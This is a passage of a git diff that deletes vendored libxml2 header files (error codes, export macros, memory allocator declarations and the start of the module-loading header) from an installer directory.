*/ - XML_SCHEMAP_SRC_IMPORT_3_2, /* 1796 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_1, /* 1797 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_2, /* 1798 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_3, /* 1799 */ - XML_SCHEMAP_COS_CT_EXTENDS_1_3, /* 1800 */ - XML_SCHEMAV_NOROOT = 1801, - XML_SCHEMAV_UNDECLAREDELEM, /* 1802 */ - XML_SCHEMAV_NOTTOPLEVEL, /* 1803 */ - XML_SCHEMAV_MISSING, /* 1804 */ - XML_SCHEMAV_WRONGELEM, /* 1805 */ - XML_SCHEMAV_NOTYPE, /* 1806 */ - XML_SCHEMAV_NOROLLBACK, /* 1807 */ - XML_SCHEMAV_ISABSTRACT, /* 1808 */ - XML_SCHEMAV_NOTEMPTY, /* 1809 */ - XML_SCHEMAV_ELEMCONT, /* 1810 */ - XML_SCHEMAV_HAVEDEFAULT, /* 1811 */ - XML_SCHEMAV_NOTNILLABLE, /* 1812 */ - XML_SCHEMAV_EXTRACONTENT, /* 1813 */ - XML_SCHEMAV_INVALIDATTR, /* 1814 */ - XML_SCHEMAV_INVALIDELEM, /* 1815 */ - XML_SCHEMAV_NOTDETERMINIST, /* 1816 */ - XML_SCHEMAV_CONSTRUCT, /* 1817 */ - XML_SCHEMAV_INTERNAL, /* 1818 */ - XML_SCHEMAV_NOTSIMPLE, /* 1819 */ - XML_SCHEMAV_ATTRUNKNOWN, /* 1820 */ - XML_SCHEMAV_ATTRINVALID, /* 1821 */ - XML_SCHEMAV_VALUE, /* 1822 */ - XML_SCHEMAV_FACET, /* 1823 */ - XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_1, /* 1824 */ - XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_2, /* 1825 */ - XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_3, /* 1826 */ - XML_SCHEMAV_CVC_TYPE_3_1_1, /* 1827 */ - XML_SCHEMAV_CVC_TYPE_3_1_2, /* 1828 */ - XML_SCHEMAV_CVC_FACET_VALID, /* 1829 */ - XML_SCHEMAV_CVC_LENGTH_VALID, /* 1830 */ - XML_SCHEMAV_CVC_MINLENGTH_VALID, /* 1831 */ - XML_SCHEMAV_CVC_MAXLENGTH_VALID, /* 1832 */ - XML_SCHEMAV_CVC_MININCLUSIVE_VALID, /* 1833 */ - XML_SCHEMAV_CVC_MAXINCLUSIVE_VALID, /* 1834 */ - XML_SCHEMAV_CVC_MINEXCLUSIVE_VALID, /* 1835 */ - XML_SCHEMAV_CVC_MAXEXCLUSIVE_VALID, /* 1836 */ - XML_SCHEMAV_CVC_TOTALDIGITS_VALID, /* 1837 */ - XML_SCHEMAV_CVC_FRACTIONDIGITS_VALID, /* 1838 */ - XML_SCHEMAV_CVC_PATTERN_VALID, /* 1839 */ - XML_SCHEMAV_CVC_ENUMERATION_VALID, /* 1840 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_1, /* 1841 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_2, /* 1842 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_3, /* 1843 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_2_4, /* 1844 */ - XML_SCHEMAV_CVC_ELT_1, /* 1845 */ - XML_SCHEMAV_CVC_ELT_2, /* 1846 */ - XML_SCHEMAV_CVC_ELT_3_1, /* 1847 */ - XML_SCHEMAV_CVC_ELT_3_2_1, /* 1848 */ - XML_SCHEMAV_CVC_ELT_3_2_2, /* 1849 */ - XML_SCHEMAV_CVC_ELT_4_1, /* 1850 */ - XML_SCHEMAV_CVC_ELT_4_2, /* 1851 */ - XML_SCHEMAV_CVC_ELT_4_3, /* 1852 */ - XML_SCHEMAV_CVC_ELT_5_1_1, /* 1853 */ - XML_SCHEMAV_CVC_ELT_5_1_2, /* 1854 */ - XML_SCHEMAV_CVC_ELT_5_2_1, /* 1855 */ - XML_SCHEMAV_CVC_ELT_5_2_2_1, /* 1856 */ - XML_SCHEMAV_CVC_ELT_5_2_2_2_1, /* 1857 */ - XML_SCHEMAV_CVC_ELT_5_2_2_2_2, /* 1858 */ - XML_SCHEMAV_CVC_ELT_6, /* 1859 */ - XML_SCHEMAV_CVC_ELT_7, /* 1860 */ - XML_SCHEMAV_CVC_ATTRIBUTE_1, /* 1861 */ - XML_SCHEMAV_CVC_ATTRIBUTE_2, /* 1862 */ - XML_SCHEMAV_CVC_ATTRIBUTE_3, /* 1863 */ - XML_SCHEMAV_CVC_ATTRIBUTE_4, /* 1864 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_3_1, /* 1865 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_3_2_1, /* 1866 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_3_2_2, /* 1867 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_4, /* 1868 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_5_1, /* 1869 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_5_2, /* 1870 */ - XML_SCHEMAV_ELEMENT_CONTENT, /* 1871 */ - XML_SCHEMAV_DOCUMENT_ELEMENT_MISSING, /* 1872 */ - XML_SCHEMAV_CVC_COMPLEX_TYPE_1, /* 1873 */ - XML_SCHEMAV_CVC_AU, /* 1874 */ - XML_SCHEMAV_CVC_TYPE_1, /* 1875 */ - XML_SCHEMAV_CVC_TYPE_2, /* 1876 */ - XML_SCHEMAV_CVC_IDC, /* 1877 */ - XML_SCHEMAV_CVC_WILDCARD, /* 1878 */ - XML_SCHEMAV_MISC, /* 1879 */ - XML_XPTR_UNKNOWN_SCHEME = 1900, - XML_XPTR_CHILDSEQ_START, /* 1901 */ - XML_XPTR_EVAL_FAILED, /* 1902 */ - XML_XPTR_EXTRA_OBJECTS, /* 1903 */ - XML_C14N_CREATE_CTXT = 1950, - XML_C14N_REQUIRES_UTF8, /* 1951 */ - XML_C14N_CREATE_STACK, /* 1952 */ - XML_C14N_INVALID_NODE, /* 1953 */ - XML_C14N_UNKNOW_NODE, /* 1954 */ - XML_C14N_RELATIVE_NAMESPACE, /* 1955 */ - XML_FTP_PASV_ANSWER = 2000, - XML_FTP_EPSV_ANSWER, /* 2001 */ - XML_FTP_ACCNT, /* 2002 */ - XML_FTP_URL_SYNTAX, /* 2003 */ - XML_HTTP_URL_SYNTAX = 2020, - XML_HTTP_USE_IP, /* 2021 */ - XML_HTTP_UNKNOWN_HOST, /* 2022 */ - XML_SCHEMAP_SRC_SIMPLE_TYPE_1 = 3000, - XML_SCHEMAP_SRC_SIMPLE_TYPE_2, /* 3001 */ - XML_SCHEMAP_SRC_SIMPLE_TYPE_3, /* 3002 */ - XML_SCHEMAP_SRC_SIMPLE_TYPE_4, /* 3003 */ - XML_SCHEMAP_SRC_RESOLVE, /* 3004 */ - XML_SCHEMAP_SRC_RESTRICTION_BASE_OR_SIMPLETYPE, /* 3005 */ - XML_SCHEMAP_SRC_LIST_ITEMTYPE_OR_SIMPLETYPE, /* 3006 */ - XML_SCHEMAP_SRC_UNION_MEMBERTYPES_OR_SIMPLETYPES, /* 3007 */ - XML_SCHEMAP_ST_PROPS_CORRECT_1, /* 3008 */ - XML_SCHEMAP_ST_PROPS_CORRECT_2, /* 3009 */ - XML_SCHEMAP_ST_PROPS_CORRECT_3, /* 3010 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_1, /* 3011 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_2, /* 3012 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_3_1, /* 3013 */ - XML_SCHEMAP_COS_ST_RESTRICTS_1_3_2, /* 3014 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_1, /* 3015 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_1_1, /* 3016 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_1_2, /* 3017 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_1, /* 3018 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_2, /* 3019 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_3, /* 3020 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_4, /* 3021 */ - XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_5, /* 3022 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_1, /* 3023 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_1, /* 3024 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_1_2, /* 3025 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_2, /* 3026 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_1, /* 3027 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_3, /* 3028 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_4, /* 3029 */ - XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_5, /* 3030 */ - XML_SCHEMAP_COS_ST_DERIVED_OK_2_1, /* 3031 */ - XML_SCHEMAP_COS_ST_DERIVED_OK_2_2, /* 3032 */ - XML_SCHEMAP_S4S_ELEM_NOT_ALLOWED, /* 3033 */ - XML_SCHEMAP_S4S_ELEM_MISSING, /* 3034 */ - XML_SCHEMAP_S4S_ATTR_NOT_ALLOWED, /* 3035 */ - XML_SCHEMAP_S4S_ATTR_MISSING, /* 3036 */ - XML_SCHEMAP_S4S_ATTR_INVALID_VALUE, /* 3037 */ - XML_SCHEMAP_SRC_ELEMENT_1, /* 3038 */ - XML_SCHEMAP_SRC_ELEMENT_2_1, /* 3039 */ - XML_SCHEMAP_SRC_ELEMENT_2_2, /* 3040 */ - XML_SCHEMAP_SRC_ELEMENT_3, /* 3041 */ - XML_SCHEMAP_P_PROPS_CORRECT_1, /* 3042 */ - XML_SCHEMAP_P_PROPS_CORRECT_2_1, /* 3043 */ - XML_SCHEMAP_P_PROPS_CORRECT_2_2, /* 3044 */ - XML_SCHEMAP_E_PROPS_CORRECT_2, /* 3045 */ - XML_SCHEMAP_E_PROPS_CORRECT_3, /* 3046 */ - XML_SCHEMAP_E_PROPS_CORRECT_4, /* 3047 */ - XML_SCHEMAP_E_PROPS_CORRECT_5, /* 3048 */ - XML_SCHEMAP_E_PROPS_CORRECT_6, /* 3049 */ - XML_SCHEMAP_SRC_INCLUDE, /* 3050 */ - XML_SCHEMAP_SRC_ATTRIBUTE_1, /* 3051 */ - XML_SCHEMAP_SRC_ATTRIBUTE_2, /* 3052 */ - XML_SCHEMAP_SRC_ATTRIBUTE_3_1, /* 3053 */ - XML_SCHEMAP_SRC_ATTRIBUTE_3_2, /* 3054 */ - XML_SCHEMAP_SRC_ATTRIBUTE_4, /* 3055 */ - XML_SCHEMAP_NO_XMLNS, /* 3056 */ - XML_SCHEMAP_NO_XSI, /* 3057 */ - XML_SCHEMAP_COS_VALID_DEFAULT_1, /* 3058 */ - XML_SCHEMAP_COS_VALID_DEFAULT_2_1, /* 3059 */ - XML_SCHEMAP_COS_VALID_DEFAULT_2_2_1, /* 3060 */ - XML_SCHEMAP_COS_VALID_DEFAULT_2_2_2, /* 3061 */ - XML_SCHEMAP_CVC_SIMPLE_TYPE, /* 3062 */ - XML_SCHEMAP_COS_CT_EXTENDS_1_1, /* 3063 */ - XML_SCHEMAP_SRC_IMPORT_1_1, /* 3064 */ - XML_SCHEMAP_SRC_IMPORT_1_2, /* 3065 */ - XML_SCHEMAP_SRC_IMPORT_2, /* 3066 */ - XML_SCHEMAP_SRC_IMPORT_2_1, /* 3067 */ - XML_SCHEMAP_SRC_IMPORT_2_2, /* 3068 */ - XML_SCHEMAP_INTERNAL, /* 3069 non-W3C */ - XML_SCHEMAP_NOT_DETERMINISTIC, /* 3070 non-W3C */ - XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_1, /* 3071 */ - XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_2, /* 3072 */ - XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_3, /* 3073 */ - XML_SCHEMAP_MG_PROPS_CORRECT_1, /* 3074 */ - XML_SCHEMAP_MG_PROPS_CORRECT_2, /* 3075 */ - XML_SCHEMAP_SRC_CT_1, /* 3076 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_3, /* 3077 */ - XML_SCHEMAP_AU_PROPS_CORRECT_2, /* 3078 */ - XML_SCHEMAP_A_PROPS_CORRECT_2, /* 3079 */ - XML_SCHEMAP_C_PROPS_CORRECT, /* 3080 */ - XML_SCHEMAP_SRC_REDEFINE, /* 3081 */ - XML_SCHEMAP_SRC_IMPORT, /* 3082 */ - XML_SCHEMAP_WARN_SKIP_SCHEMA, /* 3083 */ - XML_SCHEMAP_WARN_UNLOCATED_SCHEMA, /* 3084 */ - XML_SCHEMAP_WARN_ATTR_REDECL_PROH, /* 3085 */ - XML_SCHEMAP_WARN_ATTR_POINTLESS_PROH, /* 3085 */ - XML_SCHEMAP_AG_PROPS_CORRECT, /* 3086 */ - XML_SCHEMAP_COS_CT_EXTENDS_1_2, /* 3087 */ - XML_SCHEMAP_AU_PROPS_CORRECT, /* 3088 */ - XML_SCHEMAP_A_PROPS_CORRECT_3, /* 3089 */ - XML_SCHEMAP_COS_ALL_LIMITED, /* 3090 */ - XML_SCHEMATRONV_ASSERT = 4000, /* 4000 */ - XML_SCHEMATRONV_REPORT, - XML_MODULE_OPEN = 4900, /* 4900 */ - XML_MODULE_CLOSE, /* 4901 */ - XML_CHECK_FOUND_ELEMENT = 5000, - XML_CHECK_FOUND_ATTRIBUTE, /* 5001 */ - XML_CHECK_FOUND_TEXT, /* 5002 */ - XML_CHECK_FOUND_CDATA, /* 5003 */ - XML_CHECK_FOUND_ENTITYREF, /* 5004 */ - XML_CHECK_FOUND_ENTITY, /* 5005 */ - XML_CHECK_FOUND_PI, /* 5006 */ - XML_CHECK_FOUND_COMMENT, /* 5007 */ - XML_CHECK_FOUND_DOCTYPE, /* 5008 */ - XML_CHECK_FOUND_FRAGMENT, /* 5009 */ - XML_CHECK_FOUND_NOTATION, /* 5010 */ - XML_CHECK_UNKNOWN_NODE, /* 5011 */ - XML_CHECK_ENTITY_TYPE, /* 5012 */ - XML_CHECK_NO_PARENT, /* 5013 */ - XML_CHECK_NO_DOC, /* 5014 */ - XML_CHECK_NO_NAME, /* 5015 */ - XML_CHECK_NO_ELEM, /* 5016 */ - XML_CHECK_WRONG_DOC, /* 5017 */ - XML_CHECK_NO_PREV, /* 5018 */ - XML_CHECK_WRONG_PREV, /* 5019 */ - XML_CHECK_NO_NEXT, /* 5020 */ - XML_CHECK_WRONG_NEXT, /* 5021 */ - XML_CHECK_NOT_DTD, /* 5022 */ - XML_CHECK_NOT_ATTR, /* 5023 */ - XML_CHECK_NOT_ATTR_DECL, /* 5024 */ - XML_CHECK_NOT_ELEM_DECL, /* 5025 */ - XML_CHECK_NOT_ENTITY_DECL, /* 5026 */ - XML_CHECK_NOT_NS_DECL, /* 5027 */ - XML_CHECK_NO_HREF, /* 5028 */ - XML_CHECK_WRONG_PARENT,/* 5029 */ - XML_CHECK_NS_SCOPE, /* 5030 */ - XML_CHECK_NS_ANCESTOR, /* 5031 */ - XML_CHECK_NOT_UTF8, /* 5032 */ - XML_CHECK_NO_DICT, /* 5033 */ - XML_CHECK_NOT_NCNAME, /* 5034 */ - XML_CHECK_OUTSIDE_DICT, /* 5035 */ - XML_CHECK_WRONG_NAME, /* 5036 */ - XML_CHECK_NAME_NOT_NULL, /* 5037 */ - XML_I18N_NO_NAME = 6000, - XML_I18N_NO_HANDLER, /* 6001 */ - XML_I18N_EXCESS_HANDLER, /* 6002 */ - XML_I18N_CONV_FAILED, /* 6003 */ - XML_I18N_NO_OUTPUT, /* 6004 */ - XML_BUF_OVERFLOW = 7000 -} xmlParserErrors; - -/** - * xmlGenericErrorFunc: - * @ctx: a parsing context - * @msg: the message - * @...: the extra arguments of the varags to format the message - * - * Signature of the function to use when there is an error and - * no parsing or validity context available . - */ -typedef void (XMLCDECL *xmlGenericErrorFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -/** - * xmlStructuredErrorFunc: - * @userData: user provided data for the error callback - * @error: the error being raised. - * - * Signature of the function to use when there is an error and - * the module handles the new error reporting mechanism. - */ -typedef void (XMLCALL *xmlStructuredErrorFunc) (void *userData, xmlErrorPtr error); - -/* - * Use the following function to reset the two global variables - * xmlGenericError and xmlGenericErrorContext. - */ -XMLPUBFUN void XMLCALL - xmlSetGenericErrorFunc (void *ctx, - xmlGenericErrorFunc handler); -XMLPUBFUN void XMLCALL - initGenericErrorDefaultFunc (xmlGenericErrorFunc *handler); - -XMLPUBFUN void XMLCALL - xmlSetStructuredErrorFunc (void *ctx, - xmlStructuredErrorFunc handler); -/* - * Default message routines used by SAX and Valid context for error - * and warning reporting. - */ -XMLPUBFUN void XMLCDECL - xmlParserError (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCDECL - xmlParserWarning (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCDECL - xmlParserValidityError (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCDECL - xmlParserValidityWarning (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); -XMLPUBFUN void XMLCALL - xmlParserPrintFileInfo (xmlParserInputPtr input); -XMLPUBFUN void XMLCALL - xmlParserPrintFileContext (xmlParserInputPtr input); - -/* - * Extended error information routines - */ -XMLPUBFUN xmlErrorPtr XMLCALL - xmlGetLastError (void); -XMLPUBFUN void XMLCALL - xmlResetLastError (void); -XMLPUBFUN xmlErrorPtr XMLCALL - xmlCtxtGetLastError (void *ctx); -XMLPUBFUN void XMLCALL - xmlCtxtResetLastError (void *ctx); -XMLPUBFUN void XMLCALL - xmlResetError (xmlErrorPtr err); -XMLPUBFUN int XMLCALL - xmlCopyError (xmlErrorPtr from, - xmlErrorPtr to); - -#ifdef IN_LIBXML -/* - * Internal callback reporting routine - */ -XMLPUBFUN void XMLCALL - __xmlRaiseError (xmlStructuredErrorFunc schannel, - xmlGenericErrorFunc channel, - void *data, - void *ctx, - void *node, - int domain, - int code, - xmlErrorLevel level, - const char *file, - int line, - const char *str1, - const char *str2, - const char *str3, - int int1, - int col, - const char *msg, - ...) LIBXML_ATTR_FORMAT(16,17); -XMLPUBFUN void XMLCALL - __xmlSimpleError (int domain, - int code, - xmlNodePtr node, - const char *msg, - const char *extra) LIBXML_ATTR_FORMAT(4,0); -#endif -#ifdef __cplusplus -} -#endif -#endif /* __XML_ERROR_H__ */ diff --git a/installer/libxml2/include/libxml/xmlexports.h b/installer/libxml2/include/libxml/xmlexports.h deleted file mode 100644 index 2c79f81..0000000 --- a/installer/libxml2/include/libxml/xmlexports.h +++ /dev/null @@ -1,162 +0,0 @@ -/* - * Summary: macros for marking symbols as exportable/importable. - * Description: macros for marking symbols as exportable/importable. - * - * Copy: See Copyright for the status of this software. - * - * Author: Igor Zlatovic - */ - -#ifndef __XML_EXPORTS_H__ -#define __XML_EXPORTS_H__ - -/** - * XMLPUBFUN, XMLPUBVAR, XMLCALL - * - * Macros which declare an exportable function, an exportable variable and - * the calling convention used for functions. - * - * Please use an extra block for every platform/compiler combination when - * modifying this, rather than overlong #ifdef lines. This helps - * readability as well as the fact that different compilers on the same - * platform might need different definitions. - */ - -/** - * XMLPUBFUN: - * - * Macros which declare an exportable function - */ -#define XMLPUBFUN -/** - * XMLPUBVAR: - * - * Macros which declare an exportable variable - */ -#define XMLPUBVAR extern -/** - * XMLCALL: - * - * Macros which declare the called convention for exported functions - */ -#define XMLCALL -/** - * XMLCDECL: - * - * Macro which declares the calling convention for exported functions that - * use '...'. - */ -#define XMLCDECL - -/** DOC_DISABLE */ - -/* Windows platform with MS compiler */ -#if defined(_WIN32) && defined(_MSC_VER) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR extern - #endif - #endif - #if defined(LIBXML_FASTCALL) - #define XMLCALL __fastcall - #else - #define XMLCALL __cdecl - #endif - #define XMLCDECL __cdecl - #if !defined _REENTRANT - #define _REENTRANT - #endif -#endif - -/* Windows platform with Borland compiler */ -#if defined(_WIN32) && defined(__BORLANDC__) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) extern - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR extern - #endif - #endif - #define XMLCALL __cdecl - #define XMLCDECL __cdecl - #if !defined _REENTRANT - #define _REENTRANT - #endif -#endif - -/* Windows platform with GNU compiler (Mingw) */ -#if defined(_WIN32) && defined(__MINGW32__) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - /* - * if defined(IN_LIBXML) this raises problems on mingw with msys - * _imp__xmlFree listed as missing. Try to workaround the problem - * by also making that declaration when compiling client code. - */ - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) extern - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR extern - #endif - #endif - #define XMLCALL __cdecl - #define XMLCDECL __cdecl - #if !defined _REENTRANT - #define _REENTRANT - #endif -#endif - -/* Cygwin platform, GNU compiler */ -#if defined(_WIN32) && defined(__CYGWIN__) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR - #endif - #endif - #define XMLCALL __cdecl - #define XMLCDECL __cdecl -#endif - -/* Compatibility */ -#if !defined(LIBXML_DLL_IMPORT) -#define LIBXML_DLL_IMPORT XMLPUBVAR -#endif - -#endif /* __XML_EXPORTS_H__ */ - - diff --git a/installer/libxml2/include/libxml/xmlmemory.h b/installer/libxml2/include/libxml/xmlmemory.h deleted file mode 100644 index 17e375a..0000000 --- a/installer/libxml2/include/libxml/xmlmemory.h +++ /dev/null @@ -1,224 +0,0 @@ -/* - * Summary: interface for the memory allocator - * Description: provides interfaces for the memory allocator, - * including debugging capabilities. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __DEBUG_MEMORY_ALLOC__ -#define __DEBUG_MEMORY_ALLOC__ - -#include -#include - -/** - * DEBUG_MEMORY: - * - * DEBUG_MEMORY replaces the allocator with a collect and debug - * shell to the libc allocator. - * DEBUG_MEMORY should only be activated when debugging - * libxml i.e. if libxml has been configured with --with-debug-mem too. - */ -/* #define DEBUG_MEMORY_FREED */ -/* #define DEBUG_MEMORY_LOCATION */ - -#ifdef DEBUG -#ifndef DEBUG_MEMORY -#define DEBUG_MEMORY -#endif -#endif - -/** - * DEBUG_MEMORY_LOCATION: - * - * DEBUG_MEMORY_LOCATION should be activated only when debugging - * libxml i.e. if libxml has been configured with --with-debug-mem too. - */ -#ifdef DEBUG_MEMORY_LOCATION -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The XML memory wrapper support 4 basic overloadable functions. - */ -/** - * xmlFreeFunc: - * @mem: an already allocated block of memory - * - * Signature for a free() implementation. - */ -typedef void (XMLCALL *xmlFreeFunc)(void *mem); -/** - * xmlMallocFunc: - * @size: the size requested in bytes - * - * Signature for a malloc() implementation. - * - * Returns a pointer to the newly allocated block or NULL in case of error. - */ -typedef void *(LIBXML_ATTR_ALLOC_SIZE(1) XMLCALL *xmlMallocFunc)(size_t size); - -/** - * xmlReallocFunc: - * @mem: an already allocated block of memory - * @size: the new size requested in bytes - * - * Signature for a realloc() implementation. - * - * Returns a pointer to the newly reallocated block or NULL in case of error. - */ -typedef void *(XMLCALL *xmlReallocFunc)(void *mem, size_t size); - -/** - * xmlStrdupFunc: - * @str: a zero terminated string - * - * Signature for an strdup() implementation. - * - * Returns the copy of the string or NULL in case of error. - */ -typedef char *(XMLCALL *xmlStrdupFunc)(const char *str); - -/* - * The 4 interfaces used for all memory handling within libxml. -LIBXML_DLL_IMPORT xmlFreeFunc xmlFree; -LIBXML_DLL_IMPORT xmlMallocFunc xmlMalloc; -LIBXML_DLL_IMPORT xmlMallocFunc xmlMallocAtomic; -LIBXML_DLL_IMPORT xmlReallocFunc xmlRealloc; -LIBXML_DLL_IMPORT xmlStrdupFunc xmlMemStrdup; - */ - -/* - * The way to overload the existing functions. - * The xmlGc function have an extra entry for atomic block - * allocations useful for garbage collected memory allocators - */ -XMLPUBFUN int XMLCALL - xmlMemSetup (xmlFreeFunc freeFunc, - xmlMallocFunc mallocFunc, - xmlReallocFunc reallocFunc, - xmlStrdupFunc strdupFunc); -XMLPUBFUN int XMLCALL - xmlMemGet (xmlFreeFunc *freeFunc, - xmlMallocFunc *mallocFunc, - xmlReallocFunc *reallocFunc, - xmlStrdupFunc *strdupFunc); -XMLPUBFUN int XMLCALL - xmlGcMemSetup (xmlFreeFunc freeFunc, - xmlMallocFunc mallocFunc, - xmlMallocFunc mallocAtomicFunc, - xmlReallocFunc reallocFunc, - xmlStrdupFunc strdupFunc); -XMLPUBFUN int XMLCALL - xmlGcMemGet (xmlFreeFunc *freeFunc, - xmlMallocFunc *mallocFunc, - xmlMallocFunc *mallocAtomicFunc, - xmlReallocFunc *reallocFunc, - xmlStrdupFunc *strdupFunc); - -/* - * Initialization of the memory layer. - */ -XMLPUBFUN int XMLCALL - xmlInitMemory (void); - -/* - * Cleanup of the memory layer. - */ -XMLPUBFUN void XMLCALL - xmlCleanupMemory (void); -/* - * These are specific to the XML debug memory wrapper. - */ -XMLPUBFUN int XMLCALL - xmlMemUsed (void); -XMLPUBFUN int XMLCALL - xmlMemBlocks (void); -XMLPUBFUN void XMLCALL - xmlMemDisplay (FILE *fp); -XMLPUBFUN void XMLCALL - xmlMemDisplayLast(FILE *fp, long nbBytes); -XMLPUBFUN void XMLCALL - xmlMemShow (FILE *fp, int nr); -XMLPUBFUN void XMLCALL - xmlMemoryDump (void); -XMLPUBFUN void * XMLCALL - xmlMemMalloc (size_t size) LIBXML_ATTR_ALLOC_SIZE(1); -XMLPUBFUN void * XMLCALL - xmlMemRealloc (void *ptr,size_t size); -XMLPUBFUN void XMLCALL - xmlMemFree (void *ptr); -XMLPUBFUN char * XMLCALL - xmlMemoryStrdup (const char *str); -XMLPUBFUN void * XMLCALL - xmlMallocLoc (size_t size, const char *file, int line) LIBXML_ATTR_ALLOC_SIZE(1); -XMLPUBFUN void * XMLCALL - xmlReallocLoc (void *ptr, size_t size, const char *file, int line); -XMLPUBFUN void * XMLCALL - xmlMallocAtomicLoc (size_t size, const char *file, int line) LIBXML_ATTR_ALLOC_SIZE(1); -XMLPUBFUN char * XMLCALL - xmlMemStrdupLoc (const char *str, const char *file, int line); - - -#ifdef DEBUG_MEMORY_LOCATION -/** - * xmlMalloc: - * @size: number of bytes to allocate - * - * Wrapper for the malloc() function used in the XML library. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlMalloc(size) xmlMallocLoc((size), __FILE__, __LINE__) -/** - * xmlMallocAtomic: - * @size: number of bytes to allocate - * - * Wrapper for the malloc() function used in the XML library for allocation - * of block not containing pointers to other areas. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlMallocAtomic(size) xmlMallocAtomicLoc((size), __FILE__, __LINE__) -/** - * xmlRealloc: - * @ptr: pointer to the existing allocated area - * @size: number of bytes to allocate - * - * Wrapper for the realloc() function used in the XML library. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlRealloc(ptr, size) xmlReallocLoc((ptr), (size), __FILE__, __LINE__) -/** - * xmlMemStrdup: - * @str: pointer to the existing string - * - * Wrapper for the strdup() function, xmlStrdup() is usually preferred. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlMemStrdup(str) xmlMemStrdupLoc((str), __FILE__, __LINE__) - -#endif /* DEBUG_MEMORY_LOCATION */ - -#ifdef __cplusplus -} -#endif /* __cplusplus */ - -#ifndef __XML_GLOBALS_H -#ifndef __XML_THREADS_H__ -#include -#include -#endif -#endif - -#endif /* __DEBUG_MEMORY_ALLOC__ */ - diff --git a/installer/libxml2/include/libxml/xmlmodule.h b/installer/libxml2/include/libxml/xmlmodule.h deleted file mode 100644 index 9667820..0000000 --- a/installer/libxml2/include/libxml/xmlmodule.h +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Summary: dynamic module loading - * Description: basic API for dynamic module loading, used by - * libexslt added in 2.6.17 - * - * Copy: See Copyright for the status of this software. - * - * Author: Joel W. Reed - */ - -#ifndef __XML_MODULE_H__ -#define __XML_MODULE_H__ - -#include - -#ifdef LIBXML_MODULES_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlModulePtr: - * - * A handle to a dynamically loaded module - */ 